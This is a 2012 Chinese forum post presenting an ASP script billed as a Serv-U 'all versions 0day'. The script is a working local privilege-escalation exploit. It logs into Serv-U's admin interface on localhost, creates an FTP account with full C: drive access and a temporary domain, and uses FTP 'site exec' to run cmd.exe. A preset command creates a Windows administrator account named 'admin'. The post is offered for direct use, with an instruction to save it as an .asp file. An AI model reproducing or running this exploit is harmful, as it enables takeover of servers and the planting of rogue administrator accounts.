摯愛篤深 發表於 2012-1-29 16:14:04

serv-u最新通杀所有版本0day asp代码

要不容易出错的。 <br /><br><div class="msgheader"><div class="right"><span style="CURSOR: pointer" class="copybut"><u>复制代码</u></span></div>代码如下:</div><div class="msgborder" id="phpcode5"> <br />&lt;style type="text/css"&gt; <br />&lt;!-- <br />body,td,th { <br />font-size: 12px; <br />} <br />--&gt; <br />&lt;/style&gt; <br />&lt;% <br />Function httpopen(neirong,fangshi,dizhi,refer,cookie) <br />set Http=server.createobject("Microsoft.XMLHTTP") <br />Http.open fangshi,dizhi,false <br />Http.setrequestheader "Referer",refer <br />Http.setrequestheader "Content-type","application/x-www-form-urlencoded" <br />Http.setrequestheader "Content-length",len(neirong) <br />Http.setrequestheader "User-Agent","Serv-U" <br />Http.setrequestheader "x-user-agent","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)" <br />If cookie&lt;&gt;"" then <br />Http.setrequestheader "Cookie",cookie <br />End If <br />Http.send neirong <br />httpopen=bytes2BSTR(Http.responseBody) <br />set Http=nothing <br />end Function <br />Function getmidstr(L,R,str) <br />int_left=instr(str,L) <br />int_right=instr(str,R) <br />If int_left&gt;0 and int_right&gt;0 Then <br />getmidstr=mid(str,int_left+len(L),int_right-int_left-len(L)) <br />Else <br />getmidstr="执行的字符串中不包含&ldquo;"&amp;L&amp;"&rdquo;或&ldquo;"&amp;R&amp;"&rdquo;" <br />End If <br />end Function <br />Function bytes2BSTR(vIn) <br />strReturn = "" <br />For i = 1 To LenB(vIn) <br />ThisCharCode = AscB(MidB(vIn,i,1)) <br />If ThisCharCode &lt; &amp;H80 Then <br />strReturn = strReturn &amp; Chr(ThisCharCode) <br />Else <br />NextCharCode = AscB(MidB(vIn,i+1,1)) <br />strReturn = strReturn &amp; Chr (CLng(ThisCharCode) * &amp;H100 + CInt(NextCharCode)) <br />i = i + 1 <br />End If <br />Next <br />bytes2BSTR = strReturn <br />End Function <br />%&gt; <br />&lt;% <br />'----------自定义参数开始----------- <br />action=Request("action") <br />loginpass=Request.Form("loginpass") <br />port=Request("port") <br />mydomain=Request.Form("mydomain") <br />path=Request.Form("path") <br />ftpport = Request.Form("ftpport") <br />user=Request.Form("user") <br />pass=Request.Form("pass") <br />cmd= Request.Form("cmd") <br />sessionid=Request("sessionid") <br />organizationId=Request("OrganizationId") <br />userid=Request("userid") <br />domainid=Request("domainid") <br />'----------自定义参数结束----------- <br />select case action <br />case 1 <br />returns=httpopen("user=&amp;pword="&amp;loginpass&amp;"&amp;language=zh%2CCN%26","POST","http://127.0.0.1:"&amp;port&amp;"/Web%20Client/Login.xml?Command=Login&amp;Sync=1227081437828","http://127.0.0.1:"&amp;port&amp;"/?Session=39893&amp;Language=zh,CN&amp;LocalAdmin=1","") <br />sessionid=getmidstr("&lt;sessionid&gt;","&lt;/sessionid&gt;",returns) <br />if sessionid&lt;&gt;"" then <br />Response.Write "login ok!"&amp;"&lt;/br&gt;" <br />Response.redirect "?action=2&amp;sessionid="&amp;sessionid&amp;"&amp;port="&amp;port <br />else <br />Response.Write "error!"&amp;"&lt;/br&gt;" <br />end if <br />case 2 <br />call main2() <br />case 3 <br />returns=httpopen("","POST","http://127.0.0.1:"&amp;port&amp;"/Admin/ServerUsers.htm?Page=1","",sessionid) <br />organizationIdTemp=mid(returns,instr(returns,"OrganizationUsers.xml&amp;ID="),len("OrganizationUsers.xml&amp;ID=")+15) <br />organizationId=mid(OrganizationIdTemp,instr(OrganizationIdTemp,"=")+1,instr(OrganizationIdTemp,"""")-instr(OrganizationIdTemp,"=")-1) <br />if organizationId&lt;&gt;"" then <br />Response.write "get organizationId "&amp;OrganizationId&amp;" ok!"&amp;"&lt;/br&gt;" <br />Response.redirect "?action=4&amp;sessionid="&amp;sessionid&amp;"&amp;port="&amp;port&amp;"&amp;OrganizationId="&amp;OrganizationId <br />else <br />Response.write "error!"&amp;"&lt;/br&gt;" <br />end if <br />case 4 <br />call main3() <br />case 5 <br />returns=httpopen("","POST","http://127.0.0.1:"&amp;port&amp;"/Admin/XML/User.xml?Command=AddObject&amp;Object=COrganization."&amp;OrganizationId&amp;".User&amp;Temp=1&amp;Sync=1227081437828","http://127.0.0.1:"&amp;port&amp;"/Admin/ServerUsers.htm?Page=1",sessionid) <br />userid=getmidstr("&lt;var name=""ObjectID"" val=""",""" /&gt;",returns) <br />if userid&lt;&gt;"" then <br />Response.write "get userid "&amp;userid&amp;" ok!"&amp;"&lt;/br&gt;" <br />Response.redirect "?action=6&amp;sessionid="&amp;sessionid&amp;"&amp;port="&amp;port&amp;"&amp;OrganizationId="&amp;OrganizationId&amp;"&amp;userid="&amp;userid <br />else <br />Response.write "error!" <br />end if <br />case 6 <br />call main4() <br />case 7 <br />returns=httpopen("Access=7999&amp;MaxSize=0&amp;Dir=%2Fc%3A&amp;undefined=undefined&amp;MaxSizeDisp=&amp;","POST","http://127.0.0.1:"&amp;port&amp;"/Admin/XML/Result.xml?Command=AddObject&amp;Object=CUser."&amp;userid&amp;".DirAccess&amp;Sync=1227081437828","http://127.0.0.1:"&amp;port&amp;"/Admin/ServerUsers.htm?Page=1",sessionid) <br />returns=httpopen("LoginID="&amp;user&amp;"&amp;FullName=&amp;Password="&amp;pass&amp;"&amp;ComboPasswordType=%E5%B8%B8%E8%A7%84%E5%AF%86%E7%A0%81&amp;PasswordType=0&amp;ComboAdminType=%E6%97%A0%E6%9D%83%E9%99%90&amp;AdminType=&amp;ComboHomeDir=%2FC%3A&amp;HomeDir=%2F"&amp;path&amp;"&amp;ComboType=%E6%B0%B8%E4%B9%85%E5%B8%90%E6%88%B7&amp;Type=0&amp;ExpiresOn=0&amp;ComboWebClientStartupMode=%E6%8F%90%E7%A4%BA%E7%94%A8%E6%88%B7%E4%BD%BF%E7%94%A8%E4%BD%95%E7%A7%8D%E5%AE%A2%E6%88%B7%E7%AB%AF&amp;WebClientStartupMode=&amp;LockInHomeDir=0&amp;Enabled=1&amp;AlwaysAllowLogin=1&amp;Description=&amp;=&amp;IncludeRespCodesInMsgFiles=&amp;ComboSignOnMessageFilePath=&amp;SignOnMessageFilePath=&amp;SignOnMessage=&amp;SignOnMessageText=&amp;ComboLimitType=%E8%BF%9E%E6%8E%A5&amp;LimitType=Connection&amp;QuotaBytes=0&amp;Quota=0&amp;","POST","http://127.0.0.1:"&amp;port&amp;"/Admin/XML/Result.xml?Command=UpdateObject&amp;Object=COrganization."&amp;OrganizationId&amp;".User."&amp;userid&amp;"&amp;Sync=1227081437828","http://127.0.0.1:"&amp;port&amp;"/Admin/ServerUsers.htm?Page=1",sessionid) <br />Response.write "add user ok!"&amp;"&lt;/br&gt;" <br />Response.redirect "?action=8&amp;userid="&amp;userid&amp;"&amp;port="&amp;port&amp;"&amp;sessionid="&amp;sessionid&amp;"&amp;OrganizationId="&amp;OrganizationId <br />case 8 <br />call main5() <br />case 9 <br />returns=httpopen("DomainName="&amp;mydomain&amp;"&amp;Description=test1&amp;Enabled=1&amp;EnableFTP=1&amp;EnableFTPS=0&amp;EnableSSH=0&amp;EnableHTTP=0&amp;EnableHTTPS=0&amp;FTPPort="&amp;ftpport&amp;"&amp;FTPSPort=990&amp;SSHPort=22&amp;HTTPPort=80&amp;HTTPSPort=443&amp;BindIPAddress=&amp;","POST","http://127.0.0.1:"&amp;port&amp;"/Admin/XML/Result.xml?Command=ObjectCommand&amp;Object=CServer.0.CreateDomain&amp;Sync=1227081437828","http://127.0.0.1:"&amp;port&amp;"/Admin/ServerUsers.htm?Page=1",sessionid) <br />domainid=getmidstr("&lt;ObjectID&gt;","&lt;/ObjectID&gt;",returns) <br />Response.write "create domain ok!"&amp;"&lt;/br&gt;" <br />Response.redirect "?action=10&amp;userid="&amp;userid&amp;"&amp;port="&amp;port&amp;"&amp;sessionid="&amp;sessionid&amp;"&amp;OrganizationId="&amp;OrganizationId&amp;"&amp;domainid="&amp;domainid <br />case 10 <br />call main6() <br />case 11 <br />set b=Server.CreateObject("Microsoft.XMLHTTP") <br />b.open "GET", "http://127.0.0.1:"&amp;ftpport&amp;"/", false, "", "" <br />b.send "User " &amp; user &amp; vbCrLf &amp; "pass "&amp; pass &amp; vbCrLf &amp; "site exec c:\windows\system32\cmd.exe /c "&amp; cmd &amp; vbCrLf &amp; "QUIT" &amp; vbCrLf <br />Response.Write Replace(b.responseText,chr(13),"<br />") <br />Response.redirect "?action=12&amp;userid="&amp;userid&amp;"&amp;port="&amp;port&amp;"&amp;sessionid="&amp;sessionid&amp;"&amp;OrganizationId="&amp;OrganizationId&amp;"&amp;domainid="&amp;domainid <br />case 12 <br />call main7() <br />case 13 <br />returns=httpopen("IDs="&amp;domainid&amp;"&amp;","POST","http://127.0.0.1:"&amp;port&amp;"/Admin/XML/Result.xml?Command=DeleteObject&amp;Object=CServer.0.Domain&amp;Sync=1227081437828","http://127.0.0.1:"&amp;port&amp;"/Admin/ServerUsers.htm?Page=1",sessionid) <br />Response.Write "临时域清理完毕!用户请手动清理,因为serv-u的userid变化我搞不懂."&amp;"&lt;/br&gt;" <br />case else <br />call main1() <br />end select <br />sub main1() <br />%&gt; <br />&lt;form id="form1" name="form1" method="post" action="?action=1"&gt; <br />&lt;table width="264" border="0" align="center" cellpadding="0" cellspacing="0"&gt; <br />&lt;tr&gt; <br />&lt;td colspan="2" align="center"&gt;&lt;strong&gt;第一步:获取sessionid&lt;/strong&gt;&lt;/td&gt; <br />&lt;/tr&gt; <br />&lt;tr&gt; <br />&lt;td align="right"&gt;管理端口:&lt;/td&gt; <br />&lt;td&gt;&lt;input name="port" type="text" id="port" value="43958" /&gt;&lt;/td&gt; <br />&lt;/tr&gt; <br />&lt;tr&gt; <br />&lt;td align="right"&gt;管理员密码:&lt;/td&gt; <br />&lt;td&gt;&lt;input name="loginpass" type="text" id="loginpass" value="1" /&gt;&lt;/td&gt; <br />&lt;/tr&gt; <br />&lt;tr&gt; <br />&lt;td colspan="2" align="center"&gt;&lt;input type="submit" name="button" id="button" value="提交" /&gt; <br />&lt;/td&gt; <br />&lt;/tr&gt; <br />&lt;/table&gt; <br />&lt;/form&gt; <br />&lt;p align=center&gt;&lt;strong&gt;一般情况下不用改,如果管理员改了的话就填上去.&lt;/strong&gt;&lt;/p&gt; <br />&lt;% <br />end sub <br />%&gt; <br />&lt;% sub main2() %&gt; <br />&lt;form id="form1" name="form1" method="post" action="?action=3&amp;sessionid=&lt;%=sessionid%&gt;&amp;port=&lt;%=port%&gt;"&gt; <br />&lt;table width="264" border="0" align="center" cellpadding="0" cellspacing="0"&gt; <br />&lt;tr&gt; <br />&lt;td colspan="2" align="center"&gt;&lt;strong&gt;第二步:获取OrganizationId&lt;/strong&gt;&lt;/td&gt; <br />&lt;/tr&gt; <br />&lt;tr&gt; <br />&lt;td colspan="2" align="center"&gt;&lt;input type="submit" name="button" id="button" value="提交" /&gt; <br />&lt;/td&gt; <br />&lt;/tr&gt; <br />&lt;/table&gt; <br />&lt;/form&gt; <br />&lt;p align=center&gt;&lt;strong&gt;这一步有点慢,请等待.&lt;/strong&gt;&lt;/p&gt; <br />&lt;% end sub %&gt; <br />&lt;% sub main3() %&gt; <br />&lt;form id="form1" name="form1" method="post" action="?action=5&amp;sessionid=&lt;%=sessionid%&gt;&amp;port=&lt;%=port%&gt;&amp;OrganizationId=&lt;%=OrganizationId%&gt;"&gt; <br />&lt;table width="264" border="0" align="center" cellpadding="0" cellspacing="0"&gt; <br />&lt;tr&gt; <br />&lt;td colspan="2" align="center"&gt;&lt;strong&gt;第三步:获取userid&lt;/strong&gt;&lt;/td&gt; <br />&lt;/tr&gt; <br />&lt;tr&gt; <br />&lt;td colspan="2" align="center"&gt;&lt;input type="submit" name="button" id="button" value="提交" /&gt; <br />&lt;/td&gt; <br />&lt;/tr&gt; <br />&lt;/table&gt; <br />&lt;/form&gt; <br />&lt;% end sub %&gt; <br />&lt;% sub main4() %&gt; <br />&lt;form id="form1" name="form1" method="post" action="?action=7&amp;sessionid=&lt;%=sessionid%&gt;&amp;port=&lt;%=port%&gt;&amp;OrganizationId=&lt;%=OrganizationId%&gt;&amp;userid=&lt;%=userid%&gt;"&gt; <br />&lt;table width="264" border="0" align="center" cellpadding="0" cellspacing="0"&gt; <br />&lt;tr&gt; <br />&lt;td colspan="2" align="center"&gt;&lt;strong&gt;第四步:加用户&lt;/strong&gt;&lt;/td&gt; <br />&lt;/tr&gt; <br />&lt;tr&gt; <br />&lt;td align="right"&gt;新ftp账号:&lt;/td&gt; <br />&lt;td&gt;&lt;input name="user" type="text" id="user" value="ash" /&gt;&lt;/td&gt; <br />&lt;/tr&gt; <br />&lt;tr&gt; <br />&lt;td align="right"&gt;新ftp密码:&lt;/td&gt; <br />&lt;td&gt;&lt;input name="pass" type="text" id="pass" value="hahaha" /&gt;&lt;/td&gt; <br />&lt;/tr&gt; <br />&lt;tr&gt; <br />&lt;td align="right"&gt;系统路径:&lt;/td&gt; <br />&lt;td&gt;&lt;input name="path" type="text" id="path" value="c:" /&gt;&lt;/td&gt; <br />&lt;/tr&gt; <br />&lt;tr&gt; <br />&lt;td colspan="2" align="center"&gt;&lt;input type="submit" name="button" id="button" value="提交" /&gt; <br />&lt;/td&gt; <br />&lt;/tr&gt; <br />&lt;/table&gt; <br />&lt;/form&gt; <br />&lt;% end sub %&gt; <br />&lt;% sub main5() %&gt; <br />&lt;form id="form1" name="form1" method="post" action="?action=9&amp;port=&lt;%=port%&gt;&amp;userid=&lt;%=userid%&gt;&amp;sessionid=&lt;%=sessionid%&gt;&amp;OrganizationId=&lt;%=OrganizationId%&gt;"&gt; <br />&lt;table width="264" border="0" align="center" cellpadding="0" cellspacing="0"&gt; <br />&lt;tr&gt; <br />&lt;td colspan="2" align="center"&gt;&lt;strong&gt;第五步:创建域&lt;/strong&gt;&lt;/td&gt; <br />&lt;/tr&gt; <br />&lt;tr&gt; <br />&lt;td align="right"&gt;要添加的域:&lt;/td&gt; <br />&lt;td&gt;&lt;input name="mydomain" type="text" id="mydomain" value="testhack" /&gt;&lt;/td&gt; <br />&lt;/tr&gt; <br />&lt;tr&gt; <br />&lt;td align="right"&gt;域端口:&lt;/td&gt; <br />&lt;td&gt;&lt;input name="ftpport" type="text" id="ftpport" value="60000" /&gt;&lt;/td&gt; <br />&lt;/tr&gt; <br />&lt;tr&gt; <br />&lt;td colspan="2" align="center"&gt;&lt;input type="submit" name="button" id="button" value="提交" /&gt; <br />&lt;/td&gt; <br />&lt;/tr&gt; <br />&lt;/table&gt; <br />&lt;/form&gt; <br />&lt;% end sub %&gt; <br />&lt;% sub main6() %&gt; <br />&lt;form id="form1" name="form1" method="post" action="?action=11&amp;port=&lt;%=port%&gt;&amp;userid=&lt;%=userid%&gt;&amp;sessionid=&lt;%=sessionid%&gt;&amp;OrganizationId=&lt;%=OrganizationId%&gt;&amp;domainid=&lt;%=domainid%&gt;"&gt; <br />&lt;table border="0" align="center" cellpadding="0" cellspacing="0"&gt; <br />&lt;tr&gt; <br />&lt;td colspan="2" align="center"&gt;&lt;strong&gt;执行命令&lt;/strong&gt;&lt;/td&gt; <br />&lt;/tr&gt; <br />&lt;tr&gt; <br />&lt;td align="right"&gt;FTP账号:&lt;/td&gt; <br />&lt;td&gt;&lt;input name="user" type="text" id="user" value="ash" /&gt;&lt;/td&gt; <br />&lt;/tr&gt; <br />&lt;tr&gt; <br />&lt;tr&gt; <br />&lt;td align="right"&gt;FTP密码:&lt;/td&gt; <br />&lt;td&gt;&lt;input name="pass" type="text" id="pass" value="hahaha" /&gt;&lt;/td&gt; <br />&lt;/tr&gt; <br />&lt;tr&gt; <br />&lt;td align="right"&gt;FTP端口:&lt;/td&gt; <br />&lt;td&gt;&lt;input name="ftpport" type="text" id="ftpport" value="60000" /&gt;&lt;/td&gt; <br />&lt;/tr&gt; <br />&lt;tr&gt; <br />&lt;td align="right"&gt;你的语句:&lt;/td&gt; <br />&lt;td&gt;&lt;input name="cmd" type="text" id="cmd" value="net user admin admin123456 /add&amp;net localgroup administrators admin /add" size="80" /&gt;&lt;/td&gt; <br />&lt;/tr&gt; <br />&lt;tr&gt; <br />&lt;td colspan="2" align="center"&gt;&lt;input type="submit" name="button" id="button" value="提交" /&gt; <br />&lt;/td&gt; <br />&lt;/tr&gt; <br />&lt;/table&gt; <br />&lt;/form&gt; <br />&lt;p align=center&gt;&lt;strong&gt;注意:如果是serv-u 7.0,这里可以马上点提交.&lt;/strong&gt;&lt;/p&gt; <br />&lt;p align=center&gt;&lt;strong&gt;注意:如果是serv-u 7.0以上,请在执行完上一步之后过大概半分钟才提交.&lt;/strong&gt;&lt;/p&gt; <br /><br />&lt;% end sub %&gt; <br />&lt;% sub main7() %&gt; <br />&lt;form id="form1" name="form1" method="post" action="?action=13&amp;port=&lt;%=port%&gt;&amp;userid=&lt;%=userid%&gt;&amp;sessionid=&lt;%=sessionid%&gt;&amp;OrganizationId=&lt;%=OrganizationId%&gt;&amp;domainid=&lt;%=domainid%&gt;"&gt; <br />&lt;table width="264" border="0" align="center" cellpadding="0" cellspacing="0"&gt; <br />&lt;tr&gt; <br />&lt;td colspan="2" align="center"&gt;&lt;strong&gt;删除临时域&lt;/strong&gt;&lt;/td&gt; <br />&lt;/tr&gt; <br />&lt;tr&gt; <br />&lt;td colspan="2" align="center"&gt;&lt;input type="submit" name="button" id="button" value="提交" /&gt; <br />&lt;/td&gt; <br />&lt;/tr&gt; <br />&lt;/table&gt; <br />&lt;/form&gt; <br />&lt;% end sub %&gt; <br /></div><br />把上面代码保存成tmdsb.asp就行了。
頁: [1]
查看完整版本: serv-u最新通杀所有版本0day asp代码